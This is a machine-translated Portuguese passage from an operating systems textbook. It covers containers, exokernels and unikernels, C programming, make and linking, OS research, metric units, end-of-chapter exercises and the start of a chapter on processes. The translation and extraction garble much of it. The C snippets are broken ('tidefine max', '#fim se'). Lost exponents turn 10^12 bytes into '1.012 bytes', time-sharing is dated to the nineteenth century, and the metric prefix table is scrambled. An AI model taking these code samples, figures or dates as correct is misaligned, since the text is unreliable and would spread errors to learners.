diferente, é a execução de programas Java. Quando a Sun Microsystems inventou a linguagem 
de programação Java, também inventou uma máquina virtual (ou seja, uma arquitetura de 
computador) cnamada JVM (Java Virtual Machine). A Sun não existe mais hoje (porque a 
Oracle comprou a empresa), mas o Java ainda está conosco. O compilador Java produz código 
para JVM, que normalmente é executado por um interpretador JVM de software. A vantagem 
dessa abordagem é que o código JVM pode ser enviado pela Internet para qualquer computador 
que possua um interpretador JVM e executado lá. Se o compilador tivesse produzido 
programas binários SPARC ou x86, por exemplo, eles não poderiam ter sido enviados e 
executados em qualquer lugar tão facilmente. (Claro, a Sun poderia ter produzido um 
compilador que produzisse binários SPARC e depois distribuído um interpretador SPARC, mas 
JVM é uma arquitetura muito mais simples de interpretar.) Outra vantagem de usar JVM é que 
se o interpretador for implementado adequadamente, o que é não completamente trivial, os 
programas JVM recebidos podem ser verificados quanto à segurança e, em seguida, executados 
em um ambiente protegido para que não possam roubar dados ou causar qualquer dano. 


Containers 


Além da virtualização completa, também podemos executar múltiplas instâncias de um 
sistema operacional em uma única máquina ao mesmo tempo, fazendo com que o próprio 
sistema operacional suporte diferentes sistemas ou contêineres. Os contêineres são fornecidos 
pelo sistema operacional host, como Windows ou Linux, e geralmente executam apenas a parte 
do modo de usuário de um sistema operacional. Cada contêiner compartilha o kernel do sistema 
operacional host e normalmente os binários e bibliotecas de forma somente leitura. Dessa 
forma, um host Linux pode suportar muitos contêineres Linux. Como um contêiner não contém 
um sistema operacional completo, ele pode ser extremamente leve. 

É claro que também existem desvantagens nos contêineres. Primeiro, não é possível 
executar um contêiner com um sistema operacional completamente diferente daquele do host. 
Além disso, diferentemente das máquinas virtuais, não há particionamento estrito de recursos. 
O contêiner pode ser restrito quanto ao que pode acessar no SSD ou disco e quanto tempo de 
CPU obtém, mas todos os contêineres ainda compartilham os recursos no sistema operacional 
host subjacente. Em outras palavras, os contêineres são isolados no nível do processo. Isso 


significa que um contêiner que mexe com a estabilidade do kernel subjacente também afetará 
outros contêineres. 


1.7.6 Exokernels e Unikernels 


Em vez de clonar a máquina real, como é feito com as máquinas virtuais, outra estratégia 
é particioná-la, ou seja, dar a cada usuário um subconjunto de recursos. Assim, uma máquina 
virtual pode obter blocos de disco de 0 a 1.023, a próxima pode obter blocos de 1.024 a 2.047 
e assim por diante. 
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Na camada inferior, rodando em modo kernel, está um programa chamado exokernel 
( Engler et al., 1995). Sua função é alocar recursos para máquinas virtuais e então verificar 
as tentativas de usá-las para garantir que nenhuma máquina esteja tentando usar os recursos 
de outra pessoa. Cada máquina virtual de nível de usuário pode executar seu próprio sistema 
operacional, como no VM/370 e nos Pentium virtuais 8086s, exceto que cada uma está 
restrita a usar apenas os recursos solicitados e alocados. 

A vantagem do esquema exokernel é que ele salva uma camada de mapeamento. Nos 
outros designs, cada máquina virtual pensa que tem seu próprio disco ou SSD, com blocos 
indo de 0 até um máximo, portanto o monitor da máquina virtual deve manter tabelas para 
remapear endereços de bloco de disco (e todos os outros recursos). Com o exokernel, esse 
remapeamento não é necessário. O exokernel precisa apenas monitorar qual máquina virtual 
foi atribuída a qual recurso. Este método ainda tem a vantagem de separar a multiprogramação 
(no exokernel) do código do sistema operacional do usuário (no espaço do usuário), mas com 
menos sobrecarga, já que tudo o que o exoker nel precisa fazer é manter as máquinas 
virtuais longe umas das outras. . 

As funções do sistema operacional foram vinculadas aos aplicativos na máquina virtual 
na forma de um LibOS (Sistema Operacional de Biblioteca), que precisava apenas da 
funcionalidade para o(s) aplicativo(s) executado(s) na máquina virtual em nível de usuário. 
Esta ideia, como tantas outras, foi esquecida durante algumas décadas, apenas para ser 
redescoberta nos últimos anos, na forma de Unikernels, sistemas mínimos baseados em 
LibOS que contêm funcionalidade suficiente apenas para suportar uma única aplicação (como 
um servidor Web). servidor) em uma máquina virtual. Unikernels têm potencial para serem 
altamente eficientes, pois não é necessária proteção entre o sistema operacional (LibOS) e o 


aplicativo: como há apenas um aplicativo na máquina virtual, todo o código pode ser 
executado no modo kernel. 


1.8 O MUNDO SEGUNDO C 


Os sistemas operacionais são normalmente grandes programas C (ou às vezes C++) 
que consistem em muitas peças escritas por muitos programadores. O ambiente usado para 
desenvolver sistemas operacionais é muito diferente daquele a que os indivíduos (como 
estudantes) estão acostumados ao escrever pequenos programas Java. Esta seção é uma 
tentativa de fornecer uma breve introdução ao mundo da escrita de um sistema operacional 
para pequenos programadores Java ou Python. 


1.8.1 A Linguagem C 


Este não é um guia para C, mas um breve resumo de algumas das principais diferenças 
entre C e linguagens como Python e especialmente Java. Java é baseado em C, portanto há 
muitas semelhanças entre os dois. Python é um pouco diferente, mas ainda bastante 
semelhante. Por conveniência, nos concentramos em Java. Java, Python e C são linguagens 
imperativas com tipos de dados, variáveis e instruções de controle, por exemplo. Os tipos de 
dados primitivos em C são inteiros (incluindo curtos e longos), 
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caracteres e números de ponto flutuante. Os tipos de dados compostos podem ser construídos usando arrays, 
estruturas e uniões. As instruções de controle em C são semelhantes às de Java, incluindo instruções if, switch, for 
e while. Funções e parâmetros são praticamente os mesmos em ambas as linguagens. 


Um recurso C que Java e Python não possuem são ponteiros explícitos. Um ponteiro é uma variável que 


aponta para (ou seja, contém o endereço de) uma variável ou estrutura de dados. 
Considere as declarações 


caractere c1, C2, 
*p; c1 = 

'c'; p = 

&c1; c2 = *p; 


que declaram c1 e c2 como variáveis de caractere e p como uma variável que aponta para (ou seja, contém o 
endereço de) um caractere. A primeira atribuição armazena o código ASCII para o caractere "c" na variável c1. O 
segundo atribui o endereço de c1 à variável ponteiro p. O terceiro atribui o conteúdo da variável apontada por p à 
variável c2, então após essas instruções serem executadas, c2 também contém o código ASCII para "c". Em teoria, 
os ponteiros são digitados, então você não deve atribuir o endereço de um número de ponto flutuante a um ponteiro 


de caractere, mas na prática os compiladores aceitam tais atribuições, embora às vezes com um aviso. 


Os ponteiros são uma construção muito poderosa, mas também uma grande fonte de erros quando usados de 
forma descuidada. 

Algumas coisas que C não possui incluem strings, threads, pacotes, classes, objetos, segurança de tipo e 
coleta de lixo integrados. O último é um obstáculo para os sistemas operacionais. Todo o armazenamento em C é 
estático ou explicitamente alocado e liberado pelo programador, geralmente com as funções da biblioteca malloc e 
free. É a última propriedade — controle total do programador sobre a memória — juntamente com ponteiros explícitos 
que torna C atraente para escrever sistemas operacionais. Os sistemas operacionais são basicamente sistemas de 
tempo real, até certo ponto, até mesmo os de uso geral. Quando ocorre uma interrupção, o sistema operacional 
pode ter apenas alguns microssegundos para executar alguma ação ou perder informações críticas. Fazer com 


que o coletor de lixo seja ativado em um momento arbitrário é intolerável. 


1.8.2 Arquivos de cabeçalho 


Um projeto de sistema operacional geralmente consiste em alguns diretórios, cada um contendo muitos 
arquivos .c contendo o código de alguma parte do sistema, junto com alguns arquivos de cabeçalho .h que contêm 
declarações e definições usadas por um ou mais arquivos de código. Os arquivos de cabeçalho também podem 
incluir macros simples, como 


#define TAMANHO DO BUFFER 4096 


que permitem ao programador nomear constantes, de modo que quando BUFFER SIZE for usado no código, ele 
seja substituído durante a compilação pelo número 4096. Bom C 


Machine Translated by Google 


76 INTRODUÇÃO INDIVÍDUO. 1 


A prática de programação é nomear todas as constantes, exceto 0, 1 e 1, e algumas vezes até 
mesmo elas. As macros podem ter parâmetros, como 


tidefine max(a, b) (a >b ? a:b) 
que permite ao programador escrever 
eu = máx(j, k+1) 
e pegue 
eu = (j> k+1 ? j : k+1) 


para armazenar o maior entre je k+1 em i. Os cabeçalhos também podem conter compilação 
condicional, por exemplo 


#ifdef Intel 


X86 int ack(); 
#fim se 


que compila em uma chamada para a função intel int ack se a macro X86 estiver definida e nada 
caso contrário. A compilação condicional é muito usada para isolar código dependente da 
arquitetura, de modo que determinado código seja inserido apenas quando o sistema for compilado 
no X86, outro código seja inserido apenas quando o sistema for compilado em um SPARC e assim 
por diante. Um arquivo .c pode incluir zero ou mais arquivos de cabeçalho usando a diretiva 
#include . Existem também muitos arquivos de cabeçalho que são comuns a quase todos os .c e 
são armazenados em um diretório central. 


1.8.3 Grandes Projetos de Programação 


Para construir o sistema operacional, cada .c é compilado em um arquivo objeto pelo 
compilador C. Arquivos de objeto, que possuem o sufixo .o, contêm instruções binárias para a 
máquina de destino. Posteriormente, eles serão executados diretamente pela CPU. Não há nada 
como código de bytes Java ou código de bytes Python no mundo C. 

A primeira passagem do compilador C é chamada de pré-processador C. À medida que lê 
cada arquivo .c , toda vez que atinge uma diretiva include , ele obtém o arquivo de cabeçalho 
nomeado e o processa, expandindo macros, manipulando compilação condicional (e outras coisas) 
e passando os resultados para o próximo passagem do compilador como se estivessem fisicamente 
incluídos. 

Como os sistemas operacionais são muito grandes (cinco milhões de linhas de código não 
são incomuns), ter que recompilar tudo toda vez que um arquivo é alterado seria insuportável. Por 
outro lado, alterar um arquivo de cabeçalho de chave incluído em milhares de outros arquivos exige 
a recompilação desses arquivos. Manter o controle de quais arquivos de objeto dependem de quais 
arquivos de cabeçalho é completamente impossível de gerenciar sem ajuda. 


Felizmente, os computadores são muito bons justamente nesse tipo de coisa. Em sistemas 
UNIX, existe um programa chamado make (com inúmeras variantes como gmake, 
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pmake, etc.) que lê o Makefile, que informa quais arquivos são dependentes 

quais outros arquivos. O que o make faz é ver quais arquivos-objeto são necessários para construir o 

binário do sistema operacional e para cada um, verifique se algum dos arquivos depende 

on (o código e os cabeçalhos) foram modificados após a última vez que o 

arquivo objeto foi criado. Nesse caso, esse arquivo objeto deverá ser recompilado. Quando fazer tem 
determinado quais arquivos .c devem ser recompilados, ele então invoca o compilador C para 

recompile-os, reduzindo assim o número de compilações ao mínimo. 

Em projetos grandes, a criação do Makefile é propensa a erros, por isso existem ferramentas que fazem isso 
automaticamente. 

Assim que todos os arquivos .o estiverem prontos, eles serão passados para um programa chamado vinculador para 
combine todos eles em um único arquivo binário executável. Quaisquer funções de biblioteca chamadas ed 
também são incluídas neste ponto, as referências de interfunção são resolvidas e 
os endereços das máquinas são realocados conforme necessário. Quando o vinculador terminar, o resultado 
é um programa executável, tradicionalmente chamado de a.out em sistemas UNIX. Os vários 
componentes deste processo são ilustrados na Fig. 1-30 para um programa com três C 
arquivos e dois arquivos de cabeçalho. Embora estejamos discutindo o sistema operacional 
desenvolvimento aqui, tudo isso se aplica ao desenvolvimento de qualquer programa grande. 
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C 
compilador 


KE 


vinculador 


Executável 


programa binário 


Figura 1-30. O processo de compilação de arquivos C e de cabeçalho para criar um executável. 
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1.8.4 O Modelo de Tempo de Execução 


Depois que o binário do sistema operacional for vinculado, o computador poderá ser reinicializado 
e o novo sistema operacional iniciado. Uma vez em execução, ele pode carregar dinamicamente 
partes que não foram incluídas estaticamente no binário, como drivers de dispositivos e sistemas de 
arquivos. Em tempo de execução, o sistema operacional pode consistir em múltiplos segmentos, 
para o texto (o código do programa), os dados e a pilha. O segmento de texto normalmente é imutável, 
não mudando durante a execução. O segmento de dados começa com um determinado tamanho e é 
inicializado com determinados valores, mas pode mudar e crescer conforme necessário. A pilha está 
inicialmente vazia, mas aumenta e diminui à medida que as funções são chamadas e retornadas. 
Frequentemente, o segmento de texto é colocado próximo à parte inferior da memória, o segmento de 
dados logo acima dele, com a capacidade de crescer para cima, e o segmento de pilha em um 
endereço virtual alto, com a capacidade de crescer para baixo, mas diferentes sistemas funcionam de 
maneira diferente. 

Em todos os casos, o código do sistema operacional é executado diretamente pelo hardware, 
sem interpretador e sem compilação just-in-time, como é normal em Java. 


1.9 PESQUISA EM SISTEMAS OPERACIONAIS 


A ciência da computação é um campo que avança rapidamente e é difícil prever para onde irá. 
Os investigadores das universidades e dos laboratórios de investigação industrial estão constantemente 
a pensar em novas ideias, algumas das quais não levam a lado nenhum, mas outras tornam-se a 
pedra angular de produtos futuros e têm um enorme impacto na indústria e nos utilizadores. 

Dizer qual é qual é mais fácil de fazer em retrospectiva do que em tempo real. 
Separar o joio do trigo é especialmente difícil porque muitas vezes leva de 20 a 30 anos entre a ideia 
e o impacto. 

Por exemplo, quando o Presidente Dwight Eisenhower criou a Agência de Projectos de 
Investigação Avançada (ARPA) do Departamento de Defesa em 1958, ele estava a tentar impedir que 
o Exército matasse a Marinha e a Força Aérea por causa do orçamento de investigação do Pentágono. 
Ele não estava tentando inventar a Internet. Mas uma das coisas que a ARPA fez foi financiar algumas 
pesquisas universitárias sobre o então obscuro conceito de comutação de pacotes, o que levou à 
primeira rede experimental de comutação de pacotes, a ARPANET. Entrou em operação em 1969. 

Em pouco tempo, outras redes de pesquisa financiadas pela ARPA foram conectadas à ARPANET e 
nasceu a Internet. A Internet foi então usada com alegria por pesquisadores acadêmicos para enviar 
e-mails entre si durante 20 anos. No início da década de 1990, Tim Berners-Lee inventou a World 
Wide Web no laboratório de pesquisa do CERN em Genebra e Marc Andreesen escreveu um 
navegador gráfico para ela na Universidade de Illinois. De repente, a Internet estava cheia de 
adolescentes twitteiros. O presidente Eisenhower provavelmente está rolando no túmulo. 


A pesquisa em sistemas operacionais também levou a mudanças drásticas nos sistemas práticos. 
Como discutimos anteriormente, os primeiros sistemas de computador comerciais eram todos sistemas 
em lote, até que o MIT inventou o compartilhamento de tempo de uso geral no início do século XIX. 
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década de 1960. Os computadores eram todos baseados em texto até Doug Engelbart inventar o mouse 
e a interface gráfica do usuário no Stanford Research Institute no final dos anos 1960. 
Quem sabe o que virá a seguir? 

Nesta seção, e em seções comparáveis ao longo do livro, faremos uma 
breve olhada em algumas das pesquisas em sistemas operacionais que ocorreram durante 
últimos 5 a 10 anos, apenas para dar uma ideia do que pode estar no horizonte. Esse 
a introdução certamente não é abrangente. Baseia-se em grande parte em artigos que 
foram publicadas nas principais conferências de pesquisa porque essas ideias foram pelo menos 
sobreviveu a um rigoroso processo de revisão por pares para ser publicado. Observe que na ciência da 
computação — em contraste com outros campos científicos — a maioria das pesquisas é publicada em 
conferências, não em periódicos. A maioria dos artigos citados nas seções de pesquisa foram 
publicados pela ACM, pela IEEE Computer Society ou pela USENIX e estão disponíveis na Internet para 
membros (estudantes) dessas organizações. Para obter mais informações sobre essas organizações e 
suas bibliotecas digitais, consulte 


ACM http://www .acm.org 
Sociedade de Computação IEEE http://www .computer.org 
USENIX http://www usenix.org 


Todos os pesquisadores de sistemas operacionais percebem que os sistemas operacionais atuais são 
enorme, inflexível, não confiável, inseguro e cheio de bugs, alguns mais 
do que outros (nomes omitidos para proteger os culpados). Consequentemente, há muito 
pesquisa sobre como construir outros melhores. Trabalho foi publicado recentemente sobre bugs 
e depuração (Kasikci et al., 2017; Pina et al., 2019; Li et al., 2019), travamentos e 
recuperação (Chen et al., 2017; e Bhat et al., 2021), gestão de energia (Petrucci 
e Loques, 2012; Shen et al., 2013; e Li et al., 2020), sistemas de arquivos e armazenamento 
(Zhang et al., 2013a; Chen et al., 2017; Maneas et al., 2020; Ji et al., 2021; e 
Miller et al., 2021), E/S de alto desempenho (Rizzo, 2012; Li et al., 2013a; e Li et al., 20134; e Li et al., 2013a; e Li et al., 2013a); 
al., 2017); hyperthreading e multithreading (Li et al., 2019), atualizações dinâmicas 
(Pina et al., 2019), gerenciamento de GPUs (Volos et al., 2018), gerenciamento de memória 
(Jantz et al., 2013; e Jeong et al., 2013), sistemas embarcados (Levy et al., 2017), 
correção e confiabilidade do sistema operacional (Klein et al., 2009; e Chen et al., 
2017), confiabilidade do sistema operacional (Chen et al., 2017; Chajed et al., 2019; e Zou 
et al., 2019), segurança (Oliverio et al., 2017; Konoth et al., 2018; Osterlund et al., 
2019; Duta et al. 2021), virtualização e contêineres (Tack Lim et al., 2017; 
Manco et al., 2017; e Tarasov et al., 2013) entre muitos outros tópicos. 


1.10 ESBOÇO DO RESTO DESTE LIVRO 


Concluímos agora nossa introdução e visão panorâmica do funcionamento 
sistema. É hora de ir direto aos detalhes. Como mencionado, do ponto de vista do programador, o objetivo 
principal de um sistema operacional é fornecer alguns 
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abstrações principais, as mais importantes das quais são processos e threads, espaços de endereço e 
arquivos. Assim, os próximos três capítulos são dedicados a esses tópicos. 

O Capítulo 2 é sobre processos e threads. Ele discute suas propriedades e como eles se 
comunicam entre si. Ele também fornece vários exemplos detalhados de como funciona a comunicação 
entre processos e como evitar algumas armadilhas. 

No cap. 3 estudamos espaços de endereçamento e seu complemento, gerenciamento de memória. 
O importante tópico da memória virtual será examinado, juntamente com a paginação. 

Depois, no Cap. 4, chegamos ao tópico de sistemas de arquivos. Até certo ponto, o que o usuário 
vê é o sistema de arquivos. Veremos tanto a interface do sistema de arquivos quanto a implementação 
do sistema de arquivos. 

Entrada/Saída é abordada no Cap. 5. Abordaremos o conceito de dispositivo 
(in)dependência usando exemplos como dispositivos de armazenamento, teclados e monitores. 

O Capítulo 6 trata de impasses, incluindo formas de preveni-los ou evitá-los. 

Neste ponto, teremos concluído nosso estudo dos princípios básicos dos sistemas operacionais 
de CPU única. No entanto, há mais a dizer, especialmente sobre temas avançados. No cap. 7, 
examinamos a virtualização. Discutimos detalhadamente os princípios e algumas das soluções de 
virtualização existentes. Outro tópico avançado são os sistemas multiprocessadores, incluindo multicores, 
computadores paralelos e sistemas distribuídos. Esses assuntos são abordados no Cap. 8. Outro 
assunto importante é a segurança do sistema operacional, que abordaremos no Capítulo 9. 


A seguir temos alguns estudos de caso de sistemas operacionais reais. Estes são UNIX, Linux e 
Android (Cap. 10) e Windows 11 (Cap. 11). O texto conclui com alguma sabedoria e reflexões sobre o 
design de sistemas operacionais no Cap. 12. 


1.11 UNIDADES MÉTRICAS 


Para evitar qualquer confusão, vale a pena afirmar explicitamente que neste livro, como na ciência 
da computação em geral, são usadas unidades métricas em vez das unidades tradicionais inglesas (o 
sistema furlong-stone-quinzena). Os principais prefixos métricos estão listados na Figura 1.31. Os 
prefixos são normalmente abreviados pelas primeiras letras, com as unidades maiores que 1 em 
maiúscula. Assim, um banco de dados de 1 TB ocupa 1.012 bytes de armazenamento e um relógio de 
100 psec (ou 100 ps) funciona a cada 1.010 segundos. Como mili e micro começam com a letra “m”, 
(a letra grega mu) é para micro. 


vm 


uma escolha teve que ser feita. Normalmente, "m" é para mili e 
y 

Vale ressaltar também que, na prática comum da indústria, as unidades para medir o tamanho da 
memória têm significados ligeiramente diferentes. Lá quilo significa 210 (1024) em vez de 103 (1000) 
porque as memórias são sempre uma potência de dois. Assim, uma memória de 1 KB contém 1.024 
bytes, e não 1.000 bytes. Da mesma forma, uma memória de 1 MB contém 220 (1.048.576) bytes e 
uma memória de 1 GB contém 230 (1.073.741.824) bytes. No entanto, uma linha de comunicação de 1 
Kbps transmite 1.000 bits por segundo e uma LAN de 1 Gbps funciona a 1.000.000.000 bits/s porque 
essas velocidades não são potências de dois. Infelizmente, muitas pessoas tendem a confundir estes 
dois sistemas, especialmente para 
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Exp. Explícito Prefixo Exp. Explícito Prefixo 
103 0,001 103 106 0,000001 micro 106 109 0,006600001 nano 1.000 quilos 
109 a 0,000000000001 1012 pico 1015 o 1.000.000 Mega 
femto 1015 1018 0,0000 0000000000001 1018 1.000.000.000 giga 
1.000.000.000.000.000.000 Exa 1.000.000.000.000 Tera 


1.000.000.000.000.000 Petas 


atto 


1021 0,00000000000000000001 zepto 1021 1.000.000.000.000.000.000.000 Zetta 


1024 0,00000000000000000000001 Yocto 1024 1.000.000.000.000.000.000.000.000 Yotta 


Figura 1-31. Os principais prefixos métricos. 


Tamanhos de SSD ou disco. Para evitar ambiguidade neste livro usaremos os símbolos KB 
MB e GB para 210, 220 e 230 bytes, respectivamente, e os símbolos Kbps, Mbps, 
e Gbps para 103 , 108,6 109 bits/seg, respectivamente. 


1.12 RESUMO 


Os sistemas operacionais podem ser vistos de dois pontos de vista: gerenciadores de recursos e 
máquinas estendidas. Na visão do gerenciador de recursos, o trabalho do sistema operacional é 
gerenciar as diferentes partes do sistema de forma eficiente. Na visualização estendida da máquina, 

o sistema fornece aos usuários abstrações que são mais convenientes de usar 
do que a máquina real. Isso inclui processos, espaços de endereço e arquivos. 

Os sistemas operacionais têm uma longa história, desde os dias em que 
substituiu o operador, por modernos sistemas de multiprogramação. Os destaques incluem 
primeiros sistemas em lote, sistemas de multiprogramação e sistemas de computadores pessoais. 

Como os sistemas operacionais interagem estreitamente com o hardware, algum conhecimento 
do hardware do computador é útil para compreendê-los. Os computadores são feitos de 
processadores, memórias e dispositivos de E/S. Essas partes são conectadas por ônibus. 

Os sistemas operacionais podem ser estruturados como sistemas monolíticos, em camadas, 
microkernel/cliente-servidor, máquina virtual ou exokernel/unikernel. Independentemente disso, o básico 
os conceitos sobre os quais eles são construídos são processos, gerenciamento de memória, 
gerenciamento de E/S, sistema de arquivos e segurança. A interface principal de um sistema operacional é 
o conjunto de chamadas do sistema que ele pode manipular. Isso nos diz o que realmente faz. 


PROBLEMAS 


1. Quais são as duas funções principais de um sistema operacional? 


2. O que é multiprogramação? 
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3. 


10. 


11. 


12. 


13. 


14. 


15. 


16. 
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Na seg. 1.4, são descritos nove tipos diferentes de sistemas operacionais. Forneça uma lista de possíveis aplicações 
para cada um desses sistemas (pelo menos uma para cada tipo de sistema operacional). 


. Para usar a memória cache, a memória principal é dividida em linhas de cache, normalmente com 32 ou 64 bytes de 


comprimento. Uma linha de cache inteira é armazenada em cache de uma só vez. Qual é a vantagem de armazenar 
em cache uma linha inteira em vez de um único byte ou palavra por vez? 


. O que é spool? Você acha que os computadores pessoais avançados terão spooling 


como um recurso padrão no futuro? 


. Nos primeiros computadores, cada byte de dados lido ou gravado era manipulado pela CPU (ou seja, não havia DMA). 


Que implicações isso tem para a multiprogramação? 


. Por que o timeshare não foi difundido nos computadores de segunda geração? 


. As instruções relacionadas ao acesso a dispositivos de E/S são normalmente instruções privilegiadas, ou seja, podem 


ser executadas em modo kernel, mas não em modo usuário. Dê uma razão pela qual essas instruções são 
privilegiadas. 


Um dos motivos pelos quais as GUlIs inicialmente demoraram a ser adotadas foi o custo do hardware necessário para 
suportá-las. Quanta RAM de vídeo é necessária para suportar uma tela de texto monocromática de 25 linhas x 80 
caracteres? Quanto custa um mapa de bits colorido de 24 bits de 1024 x 768 pixels? Qual era o custo desta RAM a 
preços de 1980 (US$ 5/KB)? Quanto é isso agora? 


Existem vários objetivos de design na construção de um sistema operacional, por exemplo, utilização de recursos, 
oportunidade, robustez e assim por diante. Dê um exemplo de dois objetivos de design que podem se contradizer. 


Qual é a diferença entre kernel e modo de usuário? Explique como ter dois 
modos auxiliam no projeto de um sistema operacional. 


Um disco de 255 GB possui 65.536 cilindros com 255 setores por trilha e 512 bytes por setor. Quantos pratos e 
cabeçotes tem esse disco? Assumindo um tempo médio de busca do cilindro de 11 ms, atraso rotacional médio de 7 
ms. e taxa de leitura de 100 MB/s, calcule o tempo médio necessário para ler 100 KB de um setor. 


Considere um sistema que possui duas CPUs, cada CPU possuindo dois threads (hyperthreading). 
Suponha que três programas, PO, P1 e P2, sejam iniciados com tempos de execução de 5, 10 e 20 ms, 
respectivamente. Quanto tempo levará para concluir a execução desses programas? 
Suponha que todos os três programas estejam 100% vinculados à CPU, não bloqueiem durante a execução e não 
alterem as CPUs depois de atribuídas. 


Liste algumas diferenças entre sistemas operacionais de computadores pessoais e sistemas operacionais de mainframe. 


Um computador possui um pipeline com quatro estágios. Cada estágio leva o mesmo tempo para realizar seu trabalho, 
ou seja, 1 nseg. Quantas instruções por segundo esta máquina pode executar? 


Considere um sistema de computador que possui memória cache, memória principal (RAM) e disco, e um sistema 
operacional que utiliza memória virtual. São necessários 2 ns para acessar uma palavra do cache, 10 ns para acessar 
uma palavra da RAM e 10 ms para acessar uma palavra do disco. Se a taxa de acerto do cache for de 95% e a taxa 
de acerto da memória principal (após uma falha no cache) for de 99%, qual será o tempo médio para acessar uma 
palavra? 
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17. Quando um programa de usuário faz uma chamada de sistema para ler ou gravar um arquivo em disco, ele fornece uma 
indicação de qual arquivo deseja, um ponteiro para o buffer de dados e a contagem. O controle é então transferido para o 
sistema operacional, que chama o driver apropriado. Suponha que o driver inicie o disco e termine até que ocorra uma 
interrupção. No caso de leitura do disco, obviamente o chamador terá que ser bloqueado (porque não há dados para isso). 
E o caso de gravar no disco? O chamador precisa ser bloqueado enquanto aguarda a conclusão da transferência do disco? 


18. Qual é a principal diferença entre uma armadilha e uma interrupção? 


19. Existe algum motivo pelo qual você deseja montar um sistema de arquivos em um diretório não vazio 


história? Se assim for, o que é? 
20. Qual é o propósito de uma chamada de sistema em um sistema operacional? 


21. Dê uma razão pela qual montar sistemas de arquivos é uma opção de projeto melhor do que prefixar nomes de caminhos 
com um nome ou número de unidade. Explique por que os sistemas de arquivos quase sempre são montados em diretórios 


vazios. 


22. Para cada uma das seguintes chamadas de sistema, forneça uma condição que faça com que ela falhe: open, 
perto, e eu procuro. 


23. Que tipo de multiplexação (tempo, espaço ou ambos) pode ser usada para compartilhar os seguintes recursos: CPU, 
memória, SSD/disco, placa de rede, impressora, teclado e monitor? 


24. Pode o 
contagem = gravação(fd, buffer, nbytes); 
chamada retorna qualquer valor em contagem diferente de nbytes? Se sim, por quê? 


25. Um arquivo cujo descritor de arquivo é fd contém a seguinte sequência de bytes: 2, 7, 1,8,2, 
8,1,8,2,8, 4. As seguintes chamadas de sistema são feitas: 


procurar(fd, 3, PROCURAR 
SET): ler(fd, & buffer, 4); 


onde a chamada Iseek busca o byte 3 do arquivo. O que o buffer contém após a conclusão da leitura? 


26. Suponha que um arquivo de 10 MB esteja armazenado em um disco na mesma trilha (faixa 50) em setores consecutivos. O 
braço do disco está atualmente situado na faixa número 100. Quanto tempo levará para recuperar este arquivo do disco? 
Suponha que leva cerca de 1 ms para mover o 
braço de um cilindro para o outro e cerca de 5 ms para o setor onde o início do arquivo está armazenado girar sob a 
cabeça. Além disso, suponha que a leitura ocorra a uma taxa de 100 MB/s. 


27. Qual é a diferença essencial entre um arquivo especial de bloco e um arquivo especial de caractere 
arquivo? 


28. No exemplo dado na Figura 1.17, o procedimento da biblioteca é denominado read e a própria chamada do sistema é 
denominada read. É essencial que ambos tenham o mesmo nome? Se não, qual é mais importante? 


29. O modelo cliente-servidor é popular em sistemas distribuídos. Também pode ser usado em pecado 


sistema de computador único? 
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30. Para um programador, uma chamada de sistema se parece com qualquer outra chamada para um procedimento de 
biblioteca. É importante que um programador saiba quais procedimentos de biblioteca resultam em chamadas de sistema? 
Em que circunstâncias e por quê? 


31. A Figura 1.23 mostra que diversas chamadas de sistema UNIX não possuem equivalentes de API Win32. Para cada 
uma das chamadas listadas como não tendo equivalente Win32, quais são as consequências para um programador 
ao converter um programa UNIX para execução no Windows? 


32. Um sistema operacional portátil é aquele que pode ser portado de uma arquitetura de sistema para outra sem qualquer 
modificação. Explique por que é inviável construir um sistema operacional totalmente portátil. Descreva duas camadas 
de alto nível que você terá ao projetar um sistema operacional altamente portátil. 


33. Explique como a separação entre políticas e mecanismos auxilia na construção de sistemas operacionais baseados em 
microkernel. 


34. As máquinas virtuais tornaram-se muito populares por vários motivos. No entanto, eles têm algumas desvantagens. Cite 
um. 


35. Aqui estão algumas questões para praticar conversões de unidades: 


(a) Quanto tempo dura um microano em segundos? 

(b) Micrômetros são frequentemente chamados de mícrons. Quanto tempo dura um 
gigamicron? (c) Quantos bytes existem em uma memória de 1 TB? 

(d) A massa da Terra é de 6.000 iotagramas. O que é isso em gramas? 


36. Escreva um shell que seja semelhante à Figura 1.19, mas que contenha código suficiente para que ele realmente 
funcione e você possa testá-lo. Você também pode adicionar alguns recursos, como redirecionamento de entrada e 
saída, pipes e trabalhos em segundo plano. 


37. Se você tiver um sistema pessoal semelhante ao UNIX (Linux, MINIX 3, FreeBSD, etc.) disponível que possa travar e 
reinicializar com segurança, escreva um script de shell que tente criar um número ilimitado de processos filhos e 
observe o que acontece. Antes de executar o experimento, digite sync no shell para liberar os buffers do sistema de 
arquivos no disco e evitar arruinar o sistema de arquivos. Você também pode fazer o experimento com segurança 
em uma máquina virtual. Nota: Não tente fazer isso em um sistema compartilhado sem primeiro obter permissão do 
administrador do sistema. As consequências serão imediatamente óbvias, pelo que é provável que seja apanhado e 
que possam ocorrer sanções. 


38. Examine e tente interpretar o conteúdo de um diretório semelhante ao UNIX ou do Windows com uma ferramenta como 
o programa UNIX od . (Dica: como você fará isso dependerá do que o sistema operacional permite. Um truque que 
pode funcionar é criar um diretório em um pendrive USB com um sistema operacional e depois ler os dados brutos 
do dispositivo usando um sistema operacional diferente que permita tal acesso. .) 
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Estamos agora prestes a embarcar em um estudo detalhado de como os sistemas operacionais 
são projetados e construídos. O conceito mais central em qualquer sistema operacional é o processo: 
uma abstração de um programa em execução. Todo o resto depende desse conceito, e o projetista (e 
estudante) do sistema operacional deve ter uma compreensão completa do que é um processo o mais 
cedo possível. 

Os processos são uma das abstrações mais antigas e importantes que os sistemas operacionais 
fornecem. Eles suportam a capacidade de ter operação (pseudo) simultânea mesmo quando há apenas 
uma CPU disponível. Eles transformam uma única CPU em múltiplas CPUs virtuais. Quando há quatro, 
oito ou mais CPUs (núcleos) disponíveis, pode haver dezenas ou centenas de processos em execução. 
Sem a abstração do processo, a computação moderna não poderia existir. Neste capítulo, entraremos 
em detalhes consideráveis sobre processos e seus primos, threads. 


2.1 PROCESSOS 


Todos os computadores modernos costumam fazer várias coisas ao mesmo tempo. As pessoas 
habituadas a trabalhar com computadores podem não estar totalmente conscientes deste facto, por isso 
alguns exemplos podem tornar a questão mais clara. Primeiro considere um servidor Web. As 
solicitações chegam de todos os lugares solicitando páginas da Web. Quando chega uma solicitação, o 
servidor verifica se a página necessária está no cache. Se for, é enviado de volta; caso contrário, uma 
solicitação de disco será iniciada para buscá-lo. No entanto, do ponto de vista da CPU, as solicitações de disco levam 
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eternidade. Enquanto aguarda a conclusão de uma solicitação de disco, muitas outras solicitações podem 
entrar. Se houver vários discos presentes, alguns ou todos os mais novos podem ser 
